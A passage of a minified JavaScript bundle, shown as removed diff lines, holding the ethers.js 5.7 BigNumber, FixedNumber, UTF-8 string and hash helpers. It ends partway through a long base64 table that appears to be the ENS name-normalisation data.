J(j(this).mul(j(t3))); - } - mod(t3) { - const e2 = j(t3); - return e2.isNeg() && z("division-by-zero", "mod"), J(j(this).umod(e2)); - } - pow(t3) { - const e2 = j(t3); - return e2.isNeg() && z("negative-power", "pow"), J(j(this).pow(e2)); - } - and(t3) { - const e2 = j(t3); - return (this.isNegative() || e2.isNeg()) && z("unbound-bitwise-result", "and"), J(j(this).and(e2)); - } - or(t3) { - const e2 = j(t3); - return (this.isNegative() || e2.isNeg()) && z("unbound-bitwise-result", "or"), J(j(this).or(e2)); - } - xor(t3) { - const e2 = j(t3); - return (this.isNegative() || e2.isNeg()) && z("unbound-bitwise-result", "xor"), J(j(this).xor(e2)); - } - mask(t3) { - return (this.isNegative() || t3 < 0) && z("negative-width", "mask"), J(j(this).maskn(t3)); - } - shl(t3) { - return (this.isNegative() || t3 < 0) && z("negative-width", "shl"), J(j(this).shln(t3)); - } - shr(t3) { - return (this.isNegative() || t3 < 0) && z("negative-width", "shr"), J(j(this).shrn(t3)); - } - eq(t3) { - return j(this).eq(j(t3)); - } - lt(t3) { - return j(this).lt(j(t3)); - } - lte(t3) { - return j(this).lte(j(t3)); - } - gt(t3) { - return j(this).gt(j(t3)); - } - gte(t3) { - return j(this).gte(j(t3)); - } - isNegative() { - return "-" === this._hex[0]; - } - isZero() { - return j(this).isZero(); - } - toNumber() { - try { - return j(this).toNumber(); - } catch (t3) { - z("overflow", "toNumber", this.toString()); - } - return null; - } - toBigInt() { - try { - return BigInt(this.toString()); - } catch (t3) { - } - return G.throwError("this platform does not support BigInt", m.errors.UNSUPPORTED_OPERATION, { value: this.toString() }); - } - toString() { - return arguments.length > 0 && (10 === arguments[0] ? O || (O = true, G.warn("BigNumber.toString does not accept any parameters; base-10 is assumed")) : 16 === arguments[0] ? G.throwError("BigNumber.toString does not accept any parameters; use bigNumber.toHexString()", m.errors.UNEXPECTED_ARGUMENT, {}) : G.throwError("BigNumber.toString does not accept parameters", m.errors.UNEXPECTED_ARGUMENT, {})), j(this).toString(10); - } - toHexString() { - return this._hex; - } - toJSON(t3) { - return { type: "BigNumber", hex: this.toHexString() }; - } - static from(e2) { - if (e2 instanceof t2) - return e2; - if ("string" == typeof e2) - return e2.match(/^-?0x[0-9a-f]+$/i) ? new t2(H, K(e2)) : e2.match(/^-?[0-9]+$/) ? new t2(H, K(new U(e2))) : G.throwArgumentError("invalid BigNumber string", "value", e2); - if ("number" == typeof e2) - return e2 % 1 && z("underflow", "BigNumber.from", e2), (e2 >= L || e2 <= -L) && z("overflow", "BigNumber.from", e2), t2.from(String(e2)); - const r4 = e2; - if ("bigint" == typeof r4) - return t2.from(r4.toString()); - if (_(r4)) - return t2.from(S(r4)); - if (r4) - if (r4.toHexString) { - const e3 = r4.toHexString(); - if ("string" == typeof e3) - return t2.from(e3); - } else { - let e3 = r4._hex; - if (null == e3 && "BigNumber" === r4.type && (e3 = r4.hex), "string" == typeof e3 && (k(e3) || "-" === e3[0] && k(e3.substring(1)))) - return t2.from(e3); - } - return G.throwArgumentError("invalid BigNumber value", "value", e2); - } - static isBigNumber(t3) { - return !(!t3 || !t3._isBigNumber); - } - }; - function K(t2) { - if ("string" != typeof t2) - return K(t2.toString(16)); - if ("-" === t2[0]) - return "-" === (t2 = t2.substring(1))[0] && G.throwArgumentError("invalid hex", "value", t2), "0x00" === (t2 = K(t2)) ? t2 : "-" + t2; - if ("0x" !== t2.substring(0, 2) && (t2 = "0x" + t2), "0x" === t2) - return "0x00"; - for (t2.length % 2 && (t2 = "0x0" + t2.substring(2)); t2.length > 4 && "0x00" === t2.substring(0, 4); ) - t2 = "0x" + t2.substring(4); - return t2; - } - function J(t2) { - return Y.from(K(t2)); - } - function j(t2) { - const e2 = Y.from(t2).toHexString(); - return "-" === e2[0] ? new U("-" + e2.substring(3), 16) : new U(e2.substring(2), 16); - } - function z(t2, e2, r4) { - const n2 = { fault: t2, operation: e2 }; - return null != r4 && (n2.value = r4), G.throwError(t2, m.errors.NUMERIC_FAULT, n2); - } - function q(t2) { - return new U(t2, 36).toString(16); - } - var X = new m(R); - var V = {}; - var W = Y.from(0); - var Z = Y.from(-1); - function $(t2, e2, r4, n2) { - const A2 = { fault: e2, operation: r4 }; - return void 0 !== n2 && (A2.value = n2), X.throwError(t2, m.errors.NUMERIC_FAULT, A2); - } - var tt = "0"; - for (; tt.length < 256; ) - tt += tt; - function et(t2) { - if ("number" != typeof t2) - try { - t2 = Y.from(t2).toNumber(); - } catch (t3) { - } - return "number" == typeof t2 && t2 >= 0 && t2 <= 256 && !(t2 % 1) ? "1" + tt.substring(0, t2) : X.throwArgumentError("invalid decimal size", "decimals", t2); - } - function rt(t2, e2) { - null == e2 && (e2 = 0); - const r4 = et(e2), n2 = (t2 = Y.from(t2)).lt(W); - n2 && (t2 = t2.mul(Z)); - let A2 = t2.mod(r4).toString(); - for (; A2.length < r4.length - 1; ) - A2 = "0" + A2; - A2 = A2.match(/^([0-9]*[1-9]|0)(0*)/)[1]; - const i2 = t2.div(r4).toString(); - return t2 = 1 === r4.length ? i2 : i2 + "." + A2, n2 && (t2 = "-" + t2), t2; - } - function nt(t2, e2) { - null == e2 && (e2 = 0); - const r4 = et(e2); - "string" == typeof t2 && t2.match(/^-?[0-9.]+$/) || X.throwArgumentError("invalid decimal value", "value", t2); - const n2 = "-" === t2.substring(0, 1); - n2 && (t2 = t2.substring(1)), "." === t2 && X.throwArgumentError("missing value", "value", t2); - const A2 = t2.split("."); - A2.length > 2 && X.throwArgumentError("too many decimal points", "value", t2); - let i2 = A2[0], o2 = A2[1]; - for (i2 || (i2 = "0"), o2 || (o2 = "0"); "0" === o2[o2.length - 1]; ) - o2 = o2.substring(0, o2.length - 1); - for (o2.length > r4.length - 1 && $("fractional component exceeds decimals", "underflow", "parseFixed"), "" === o2 && (o2 = "0"); o2.length < r4.length - 1; ) - o2 += "0"; - const s2 = Y.from(i2), a2 = Y.from(o2); - let c2 = s2.mul(r4).add(a2); - return n2 && (c2 = c2.mul(Z)), c2; - } - var At = class _At { - constructor(t2, e2, r4, n2) { - t2 !== V && X.throwError("cannot use FixedFormat constructor; use FixedFormat.from", m.errors.UNSUPPORTED_OPERATION, { operation: "new FixedFormat" }), this.signed = e2, this.width = r4, this.decimals = n2, this.name = (e2 ? "" : "u") + "fixed" + String(r4) + "x" + String(n2), this._multiplier = et(n2), Object.freeze(this); - } - static from(t2) { - if (t2 instanceof _At) - return t2; - "number" == typeof t2 && (t2 = `fixed128x${t2}`); - let e2 = true, r4 = 128, n2 = 18; - if ("string" == typeof t2) - if ("fixed" === t2) - ; - else if ("ufixed" === t2) - e2 = false; - else { - const A2 = t2.match(/^(u?)fixed([0-9]+)x([0-9]+)$/); - A2 || X.throwArgumentError("invalid fixed format", "format", t2), e2 = "u" !== A2[1], r4 = parseInt(A2[2]), n2 = parseInt(A2[3]); - } - else if (t2) { - const A2 = (e3, r5, n3) => null == t2[e3] ? n3 : (typeof t2[e3] !== r5 && X.throwArgumentError("invalid fixed format (" + e3 + " not " + r5 + ")", "format." + e3, t2[e3]), t2[e3]); - e2 = A2("signed", "boolean", e2), r4 = A2("width", "number", r4), n2 = A2("decimals", "number", n2); - } - return r4 % 8 && X.throwArgumentError("invalid fixed format width (not byte aligned)", "format.width", r4), n2 > 80 && X.throwArgumentError("invalid fixed format (decimals too large)", "format.decimals", n2), new _At(V, e2, r4, n2); - } - }; - var it = class t2 { - constructor(t3, e2, r4, n2) { - t3 !== V && X.throwError("cannot use FixedNumber constructor; use FixedNumber.from", m.errors.UNSUPPORTED_OPERATION, { operation: "new FixedFormat" }), this.format = n2, this._hex = e2, this._value = r4, this._isFixedNumber = true, Object.freeze(this); - } - _checkFormat(t3) { - this.format.name !== t3.format.name && X.throwArgumentError("incompatible format; use fixedNumber.toFormat", "other", t3); - } - addUnsafe(e2) { - this._checkFormat(e2); - const r4 = nt(this._value, this.format.decimals), n2 = nt(e2._value, e2.format.decimals); - return t2.fromValue(r4.add(n2), this.format.decimals, this.format); - } - subUnsafe(e2) { - this._checkFormat(e2); - const r4 = nt(this._value, this.format.decimals), n2 = nt(e2._value, e2.format.decimals); - return t2.fromValue(r4.sub(n2), this.format.decimals, this.format); - } - mulUnsafe(e2) { - this._checkFormat(e2); - const r4 = nt(this._value, this.format.decimals), n2 = nt(e2._value, e2.format.decimals); - return t2.fromValue(r4.mul(n2).div(this.format._multiplier), this.format.decimals, this.format); - } - divUnsafe(e2) { - this._checkFormat(e2); - const r4 = nt(this._value, this.format.decimals), n2 = nt(e2._value, e2.format.decimals); - return t2.fromValue(r4.mul(this.format._multiplier).div(n2), this.format.decimals, this.format); - } - floor() { - const e2 = this.toString().split("."); - 1 === e2.length && e2.push("0"); - let r4 = t2.from(e2[0], this.format); - const n2 = !e2[1].match(/^(0*)$/); - return this.isNegative() && n2 && (r4 = r4.subUnsafe(ot.toFormat(r4.format))), r4; - } - ceiling() { - const e2 = this.toString().split("."); - 1 === e2.length && e2.push("0"); - let r4 = t2.from(e2[0], this.format); - const n2 = !e2[1].match(/^(0*)$/); - return !this.isNegative() && n2 && (r4 = r4.addUnsafe(ot.toFormat(r4.format))), r4; - } - round(e2) { - null == e2 && (e2 = 0); - const r4 = this.toString().split("."); - if (1 === r4.length && r4.push("0"), (e2 < 0 || e2 > 80 || e2 % 1) && X.throwArgumentError("invalid decimal count", "decimals", e2), r4[1].length <= e2) - return this; - const n2 = t2.from("1" + tt.substring(0, e2), this.format), A2 = st.toFormat(this.format); - return this.mulUnsafe(n2).addUnsafe(A2).floor().divUnsafe(n2); - } - isZero() { - return "0.0" === this._value || "0" === this._value; - } - isNegative() { - return "-" === this._value[0]; - } - toString() { - return this._value; - } - toHexString(t3) { - if (null == t3) - return this._hex; - t3 % 8 && X.throwArgumentError("invalid byte width", "width", t3); - return x(Y.from(this._hex).fromTwos(this.format.width).toTwos(t3).toHexString(), t3 / 8); - } - toUnsafeFloat() { - return parseFloat(this.toString()); - } - toFormat(e2) { - return t2.fromString(this._value, e2); - } - static fromValue(e2, r4, n2) { - return null != n2 || null == r4 || function(t3) { - return null != t3 && (Y.isBigNumber(t3) || "number" == typeof t3 && t3 % 1 == 0 || "string" == typeof t3 && !!t3.match(/^-?[0-9]+$/) || k(t3) || "bigint" == typeof t3 || _(t3)); - }(r4) || (n2 = r4, r4 = null), null == r4 && (r4 = 0), null == n2 && (n2 = "fixed"), t2.fromString(rt(e2, r4), At.from(n2)); - } - static fromString(e2, r4) { - null == r4 && (r4 = "fixed"); - const n2 = At.from(r4), A2 = nt(e2, n2.decimals); - !n2.signed && A2.lt(W) && $("unsigned value cannot be negative", "overflow", "value", e2); - let i2 = null; - n2.signed ? i2 = A2.toTwos(n2.width).toHexString() : (i2 = A2.toHexString(), i2 = x(i2, n2.width / 8)); - const o2 = rt(A2, n2.decimals); - return new t2(V, i2, o2, n2); - } - static fromBytes(e2, r4) { - null == r4 && (r4 = "fixed"); - const n2 = At.from(r4); - if (Q(e2).length > n2.width / 8) - throw new Error("overflow"); - let A2 = Y.from(e2); - n2.signed && (A2 = A2.fromTwos(n2.width)); - const i2 = A2.toTwos((n2.signed ? 0 : 1) + n2.width).toHexString(), o2 = rt(A2, n2.decimals); - return new t2(V, i2, o2, n2); - } - static from(e2, r4) { - if ("string" == typeof e2) - return t2.fromString(e2, r4); - if (_(e2)) - return t2.fromBytes(e2, r4); - try { - return t2.fromValue(e2, 0, r4); - } catch (t3) { - if (t3.code !== m.errors.INVALID_ARGUMENT) - throw t3; - } - return X.throwArgumentError("invalid FixedNumber value", "value", e2); - } - static isFixedNumber(t3) { - return !(!t3 || !t3._isFixedNumber); - } - }; - var ot = it.from(1); - var st = it.from("0.5"); - var at = Object.freeze({ __proto__: null, BigNumber: Y, FixedFormat: At, FixedNumber: it, _base16To36: function(t2) { - return new U(t2, 16).toString(36); - }, _base36To16: q, formatFixed: rt, parseFixed: nt }); - var ct = Y.from(-1); - var ht = Y.from(0); - var gt = Y.from(1); - var ut = Y.from("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); - var lt = new m("strings/5.7.0"); - var ft; - var pt; - function dt(t2, e2, r4, n2, A2) { - if (t2 === pt.BAD_PREFIX || t2 === pt.UNEXPECTED_CONTINUE) { - let t3 = 0; - for (let n3 = e2 + 1; n3 < r4.length && r4[n3] >> 6 == 2; n3++) - t3++; - return t3; - } - return t2 === pt.OVERRUN ? r4.length - e2 - 1 : 0; - } - !function(t2) { - t2.current = "", t2.NFC = "NFC", t2.NFD = "NFD", t2.NFKC = "NFKC", t2.NFKD = "NFKD"; - }(ft || (ft = {})), function(t2) { - t2.UNEXPECTED_CONTINUE = "unexpected continuation byte", t2.BAD_PREFIX = "bad codepoint prefix", t2.OVERRUN = "string overrun", t2.MISSING_CONTINUE = "missing continuation byte", t2.OUT_OF_RANGE = "out of UTF-8 range", t2.UTF16_SURROGATE = "UTF-16 surrogate", t2.OVERLONG = "overlong representation"; - }(pt || (pt = {})); - var It = Object.freeze({ error: function(t2, e2, r4, n2, A2) { - return lt.throwArgumentError(`invalid codepoint at offset ${e2}; ${t2}`, "bytes", r4); - }, ignore: dt, replace: function(t2, e2, r4, n2, A2) { - return t2 === pt.OVERLONG ? (n2.push(A2), 0) : (n2.push(65533), dt(t2, e2, r4)); - } }); - function yt(t2, e2) { - null == e2 && (e2 = It.error), t2 = Q(t2); - const r4 = []; - let n2 = 0; - for (; n2 < t2.length; ) { - const A2 = t2[n2++]; - if (!(A2 >> 7)) { - r4.push(A2); - continue; - } - let i2 = null, o2 = null; - if (192 == (224 & A2)) - i2 = 1, o2 = 127; - else if (224 == (240 & A2)) - i2 = 2, o2 = 2047; - else { - if (240 != (248 & A2)) { - n2 += e2(128 == (192 & A2) ? pt.UNEXPECTED_CONTINUE : pt.BAD_PREFIX, n2 - 1, t2, r4); - continue; - } - i2 = 3, o2 = 65535; - } - if (n2 - 1 + i2 >= t2.length) { - n2 += e2(pt.OVERRUN, n2 - 1, t2, r4); - continue; - } - let s2 = A2 & (1 << 8 - i2 - 1) - 1; - for (let A3 = 0; A3 < i2; A3++) { - let A4 = t2[n2]; - if (128 != (192 & A4)) { - n2 += e2(pt.MISSING_CONTINUE, n2, t2, r4), s2 = null; - break; - } - s2 = s2 << 6 | 63 & A4, n2++; - } - null !== s2 && (s2 > 1114111 ? n2 += e2(pt.OUT_OF_RANGE, n2 - 1 - i2, t2, r4, s2) : s2 >= 55296 && s2 <= 57343 ? n2 += e2(pt.UTF16_SURROGATE, n2 - 1 - i2, t2, r4, s2) : s2 <= o2 ? n2 += e2(pt.OVERLONG, n2 - 1 - i2, t2, r4, s2) : r4.push(s2)); - } - return r4; - } - function Ct(t2, e2 = ft.current) { - e2 != ft.current && (lt.checkNormalize(), t2 = t2.normalize(e2)); - let r4 = []; - for (let e3 = 0; e3 < t2.length; e3++) { - const n2 = t2.charCodeAt(e3); - if (n2 < 128) - r4.push(n2); - else if (n2 < 2048) - r4.push(n2 >> 6 | 192), r4.push(63 & n2 | 128); - else if (55296 == (64512 & n2)) { - e3++; - const A2 = t2.charCodeAt(e3); - if (e3 >= t2.length || 56320 != (64512 & A2)) - throw new Error("invalid utf-8 string"); - const i2 = 65536 + ((1023 & n2) << 10) + (1023 & A2); - r4.push(i2 >> 18 | 240), r4.push(i2 >> 12 & 63 | 128), r4.push(i2 >> 6 & 63 | 128), r4.push(63 & i2 | 128); - } else - r4.push(n2 >> 12 | 224), r4.push(n2 >> 6 & 63 | 128), r4.push(63 & n2 | 128); - } - return Q(r4); - } - function mt(t2, e2) { - return yt(t2, e2).map((t3) => t3 <= 65535 ? String.fromCharCode(t3) : (t3 -= 65536, String.fromCharCode(55296 + (t3 >> 10 & 1023), 56320 + (1023 & t3)))).join(""); - } - function Bt(t2) { - return F(Ct(t2)); - } - var Et = "hash/5.7.0"; - function wt(t2, e2) { - null == e2 && (e2 = 1); - const r4 = [], n2 = r4.forEach, A2 = function(t3, e3) { - n2.call(t3, function(t4) { - e3 > 0 && Array.isArray(t4) ? A2(t4, e3 - 1) : r4.push(t4); - }); - }; - return A2(t2, e2), r4; - } - function vt(t2) { - return /* @__PURE__ */ function(t3) { - let e2 = 0; - return () => t3[e2++]; - }(function(t3) { - let e2 = 0; - function r4() { - return t3[e2++] << 8 | t3[e2++]; - } - let n2 = r4(), A2 = 1, i2 = [0, 1]; - for (let t4 = 1; t4 < n2; t4++) - i2.push(A2 += r4()); - let o2 = r4(), s2 = e2; - e2 += o2; - let a2 = 0, c2 = 0; - function h2() { - return 0 == a2 && (c2 = c2 << 8 | t3[e2++], a2 = 8), c2 >> --a2 & 1; - } - const g2 = Math.pow(2, 31), u2 = g2 >>> 1, l2 = u2 >> 1, f2 = g2 - 1; - let p2 = 0; - for (let t4 = 0; t4 < 31; t4++) - p2 = p2 << 1 | h2(); - let d2 = [], I2 = 0, y2 = g2; - for (; ; ) { - let t4 = Math.floor(((p2 - I2 + 1) * A2 - 1) / y2), e3 = 0, r5 = n2; - for (; r5 - e3 > 1; ) { - let n3 = e3 + r5 >>> 1; - t4 < i2[n3] ? r5 = n3 : e3 = n3; - } - if (0 == e3) - break; - d2.push(e3); - let o3 = I2 + Math.floor(y2 * i2[e3] / A2), s3 = I2 + Math.floor(y2 * i2[e3 + 1] / A2) - 1; - for (; !((o3 ^ s3) & u2); ) - p2 = p2 << 1 & f2 | h2(), o3 = o3 << 1 & f2, s3 = s3 << 1 & f2 | 1; - for (; o3 & ~s3 & l2; ) - p2 = p2 & u2 | p2 << 1 & f2 >>> 1 | h2(), o3 = o3 << 1 ^ u2, s3 = (s3 ^ u2) << 1 | u2 | 1; - I2 = o3, y2 = 1 + s3 - o3; - } - let C2 = n2 - 4; - return d2.map((e3) => { - switch (e3 - C2) { - case 3: - return C2 + 65792 + (t3[s2++] << 16 | t3[s2++] << 8 | t3[s2++]); - case 2: - return C2 + 256 + (t3[s2++] << 8 | t3[s2++]); - case 1: - return C2 + t3[s2++]; - default: - return e3 - 1; - } - }); - }(t2)); - } - function _t(t2) { - return 1 & t2 ? ~t2 >> 1 : t2 >> 1; - } - function Qt(t2, e2) { - let r4 = Array(t2); - for (let n2 = 0, A2 = -1; n2 < t2; n2++) - r4[n2] = A2 += 1 + e2(); - return r4; - } - function bt(t2, e2) { - let r4 = Array(t2); - for (let n2 = 0, A2 = 0; n2 < t2; n2++) - r4[n2] = A2 += _t(e2()); - return r4; - } - function kt(t2, e2) { - let r4 = Qt(t2(), t2), n2 = t2(), A2 = Qt(n2, t2), i2 = function(t3, e3) { - let r5 = Array(t3); - for (let n3 = 0; n3 < t3; n3++) - r5[n3] = 1 + e3(); - return r5; - }(n2, t2); - for (let t3 = 0; t3 < n2; t3++) - for (let e3 = 0; e3 < i2[t3]; e3++) - r4.push(A2[t3] + e3); - return e2 ? r4.map((t3) => e2[t3]) : r4; - } - function Dt(t2, e2, r4) { - let n2 = Array(t2).fill(void 0).map(() => []); - for (let A2 = 0; A2 < e2; A2++) - bt(t2, r4).forEach((t3, e3) => n2[e3].push(t3)); - return n2; - } - function St(t2, e2) { - let r4 = 1 + e2(), n2 = e2(), A2 = function(t3) { - let e3 = []; - for (; ; ) { - let r5 = t3(); - if (0 == r5) - break; - e3.push(r5); - } - return e3; - }(e2); - return wt(Dt(A2.length, 1 + t2, e2).map((t3, e3) => { - const i2 = t3[0], o2 = t3.slice(1); - return Array(A2[e3]).fill(void 0).map((t4, e4) => { - let A3 = e4 * n2; - return [i2 + e4 * r4, o2.map((t5) => t5 + A3)]; - }); - })); - } - function Nt(t2, e2) { - return Dt(1 + e2(), 1 + t2, e2).map((t3) => [t3[0], t3.slice(1)]); - } - var Mt = vt(function(t2) { - t2 = atob(t2); - const e2 = []; - for (let r4 = 0; r4 < t2.length; r4++) - e2.push(t2.charCodeAt(r4)); - return Q(e2); - }("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